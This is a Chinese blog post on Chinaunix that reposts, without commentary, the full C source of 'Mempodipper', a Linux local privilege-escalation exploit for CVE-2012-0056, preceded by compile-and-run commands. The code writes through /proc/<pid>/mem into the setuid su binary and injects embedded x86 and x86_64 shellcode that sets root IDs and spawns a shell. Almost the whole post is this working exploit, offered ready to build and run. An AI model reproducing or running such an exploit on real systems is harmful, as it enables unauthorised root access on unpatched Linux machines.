Chinaunix首页 | 论坛 | 博客
  • 博客访问: 361489
  • 博文数量: 89
  • 博客积分: 3178
  • 博客等级: 中校
  • 技术积分: 965
  • 用 户 组: 普通用户
  • 注册时间: 2008-07-09 15:31
文章分类

全部博文(89)

文章存档

2013年(10)

2012年(33)

2011年(41)

2008年(5)

分类: LINUX

2012-05-17 20:35:39

gcc mempodipper.c -o mempodipper ./mempodipper rm mempodipper

点击(此处)折叠或打开

  1. /*
  2.  * Mempodipper
  3.  * by zx2c4
  4.  *
  5.  * Linux Local Root Exploit
  6.  *
  7.  * Rather than put my write up here, per usual, this time I've put it
  8.  * in a rather lengthy blog post: http://blog.zx2c4.com/749
  9.  *
  10.  * Enjoy.
  11.  *
  12.  * - zx2c4
  13.  * Jan 21, 2012
  14.  *
  15.  * CVE-2012-0056
  16.  */

  17. #define _LARGEFILE64_SOURCE
  18. #define _GNU_SOURCE
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <stdlib.h>
  22. #include <sys/types.h>
  23. #include <sys/stat.h>
  24. #include <sys/socket.h>
  25. #include <sys/un.h>
  26. #include <sys/wait.h>
  27. #include <sys/types.h>
  28. #include <sys/user.h>
  29. #include <sys/ptrace.h>
  30. #include <sys/reg.h>
  31. #include <fcntl.h>
  32. #include <unistd.h>
  33. #include <limits.h>

  34. char *prog_name;

  35. int send_fd(int sock, int fd)
  36. {
  37.     char buf[1];
  38.     struct iovec iov;
  39.     struct msghdr msg;
  40.     struct cmsghdr *cmsg;
  41.     int n;
  42.     char cms[CMSG_SPACE(sizeof(int))];

  43.     buf[0] = 0;
  44.     iov.iov_base = buf;
  45.     iov.iov_len = 1;

  46.     memset(&msg, 0, sizeof msg);
  47.     msg.msg_iov = &iov;
  48.     msg.msg_iovlen = 1;
  49.     msg.msg_control = (caddr_t)cms;
  50.     msg.msg_controllen = CMSG_LEN(sizeof(int));

  51.     cmsg = CMSG_FIRSTHDR(&msg);
  52.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  53.     cmsg->cmsg_level = SOL_SOCKET;
  54.     cmsg->cmsg_type = SCM_RIGHTS;
  55.     memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

  56.     if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  57.         return -1;
  58.     close(sock);
  59.     return 0;
  60. }

  61. int recv_fd(int sock)
  62. {
  63.     int n;
  64.     int fd;
  65.     char buf[1];
  66.     struct iovec iov;
  67.     struct msghdr msg;
  68.     struct cmsghdr *cmsg;
  69.     char cms[CMSG_SPACE(sizeof(int))];
  70.     
  71.     iov.iov_base = buf;
  72.     iov.iov_len = 1;

  73.     memset(&msg, 0, sizeof msg);
  74.     msg.msg_name = 0;
  75.     msg.msg_namelen = 0;
  76.     msg.msg_iov = &iov;
  77.     msg.msg_iovlen = 1;

  78.     msg.msg_control = (caddr_t)cms;
  79.     msg.msg_controllen = sizeof cms;

  80.     if ((n = recvmsg(sock, &msg, 0)) < 0)
  81.         return -1;
  82.     if (n == 0)
  83.         return -1;
  84.     cmsg = CMSG_FIRSTHDR(&msg);
  85.     memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  86.     close(sock);
  87.     return fd;
  88. }

  89. unsigned long ptrace_address()
  90. {
  91.     int fd[2];
  92.     printf("[+] Creating ptrace pipe.\n");
  93.     pipe(fd);
  94.     fcntl(fd[0], F_SETFL, O_NONBLOCK);

  95.     printf("[+] Forking ptrace child.\n");
  96.     int child = fork();
  97.     if (child) {
  98.         close(fd[1]);
  99.         char buf;
  100.         printf("[+] Waiting for ptraced child to give output on syscalls.\n");
  101.         for (;;) {
  102.             wait(NULL);
  103.             if (read(fd[0], &buf, 1) > 0)
  104.                 break;
  105.             ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  106.         }
  107.         
  108.         printf("[+] Error message written. Single stepping to find address.\n");
  109.         struct user_regs_struct regs;
  110.         for (;;) {
  111.             ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
  112.             wait(NULL);
  113.             ptrace(PTRACE_GETREGS, child, NULL, &regs);
  114. #if defined(__i386__)
  115. #define instruction_pointer regs.eip
  116. #define upper_bound 0xb0000000
  117. #elif defined(__x86_64__)
  118. #define instruction_pointer regs.rip
  119. #define upper_bound 0x700000000000
  120. #else
  121. #error "That platform is not supported."
  122. #endif
  123.             if (instruction_pointer < upper_bound) {
  124.                 unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
  125.                 if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
  126.                     return instruction_pointer;
  127.             }
  128.         }
  129.     } else {
  130.         printf("[+] Ptrace_traceme'ing process.\n");
  131.         if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
  132.             perror("[-] ptrace");
  133.             return 0;
  134.         }
  135.         close(fd[0]);
  136.         dup2(fd[1], 2);
  137.         execl("/bin/su", "su", "not-a-valid-user", NULL);
  138.     }
  139.     return 0;
  140. }

  141. unsigned long objdump_address()
  142. {
  143.     FILE *command = popen("objdump -d /bin/su|grep ''|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  144.     if (!command) {
  145.         perror("[-] popen");
  146.         return 0;
  147.     }
  148.     char result[32];
  149.     fgets(result, 32, command);
  150.     pclose(command);
  151.     return strtoul(result, NULL, 16);
  152. }

  153. unsigned long find_address()
  154. {
  155.     printf("[+] Ptracing su to find next instruction without reading binary.\n");
  156.     unsigned long address = ptrace_address();
  157.     if (!address) {
  158.         printf("[-] Ptrace failed.\n");
  159.         printf("[+] Reading su binary with objdump to find exit@plt.\n");
  160.         address = objdump_address();
  161.         if (address == ULONG_MAX || !address) {
  162.             printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  163.             printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
  164.             exit(-1);
  165.         }
  166.     }
  167.     printf("[+] Resolved call address to 0x%lx.\n", address);
  168.     return address;
  169. }

  170. int su_padding()
  171. {
  172.     printf("[+] Calculating su padding.\n");
  173.     FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
  174.     if (!command) {
  175.         perror("[-] popen");
  176.         exit(1);
  177.     }
  178.     char result[256];
  179.     fgets(result, 256, command);
  180.     pclose(command);
  181.     return strstr(result, "this-user-does-not-exist") - result;
  182. }

  183. int child(int sock)
  184. {
  185.     char parent_mem[256];
  186.     sprintf(parent_mem, "/proc/%d/mem", getppid());
  187.     printf("[+] Opening parent mem %s in child.\n", parent_mem);
  188.     int fd = open(parent_mem, O_RDWR);
  189.     if (fd < 0) {
  190.         perror("[-] open");
  191.         return 1;
  192.     }
  193.     printf("[+] Sending fd %d to parent.\n", fd);
  194.     send_fd(sock, fd);
  195.     return 0;
  196. }

  197. int parent(unsigned long address)
  198. {
  199.     int sockets[2];
  200.     printf("[+] Opening socketpair.\n");
  201.     if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  202.         perror("[-] socketpair");
  203.         return 1;
  204.     }
  205.     if (fork()) {
  206.         printf("[+] Waiting for transferred fd in parent.\n");
  207.         int fd = recv_fd(sockets[1]);
  208.         printf("[+] Received fd at %d.\n", fd);
  209.         if (fd < 0) {
  210.             perror("[-] recv_fd");
  211.             return 1;
  212.         }
  213.         printf("[+] Assigning fd %d to stderr.\n", fd);
  214.         dup2(2, 15);
  215.         dup2(fd, 2);

  216.         unsigned long offset = address - su_padding();
  217.         printf("[+] Seeking to offset 0x%lx.\n", offset);
  218.         lseek64(fd, offset, SEEK_SET);
  219.         
  220. #if defined(__i386__)
  221.         // See shellcode-32.s in this package for the source.
  222.         char shellcode[] =
  223.             "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  224.             "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  225.             "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  226.             "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  227.             "\x80";
  228. #elif defined(__x86_64__)
  229.         // See shellcode-64.s in this package for the source.
  230.         char shellcode[] =
  231.             "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
  232.             "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
  233.             "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
  234.             "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
  235.             "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  236. #else
  237. #error "That platform is not supported."
  238. #endif
  239.         printf("[+] Executing su with shellcode.\n");
  240.         execl("/bin/su", "su", shellcode, NULL);
  241.     } else {
  242.         char sock[32];
  243.         sprintf(sock, "%d", sockets[0]);
  244.         printf("[+] Executing child from child fork.\n");
  245.         execl("/proc/self/exe", prog_name, "-c", sock, NULL);
  246.     }
  247.     return 0;
  248. }

  249. int main(int argc, char **argv)
  250. {
  251.     prog_name = argv[0];
  252.     
  253.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
  254.         return child(atoi(argv[2]));
  255.     
  256.     printf("===============================\n");
  257.     printf("= Mempodipper =\n");
  258.     printf("= by zx2c4 =\n");
  259.     printf("= Jan 21, 2012 =\n");
  260.     printf("===============================\n\n");
  261.     
  262.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  263.         return parent(strtoul(argv[2], NULL, 16));
  264.     else
  265.         return parent(find_address());
  266.     
  267. }

阅读(1147) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~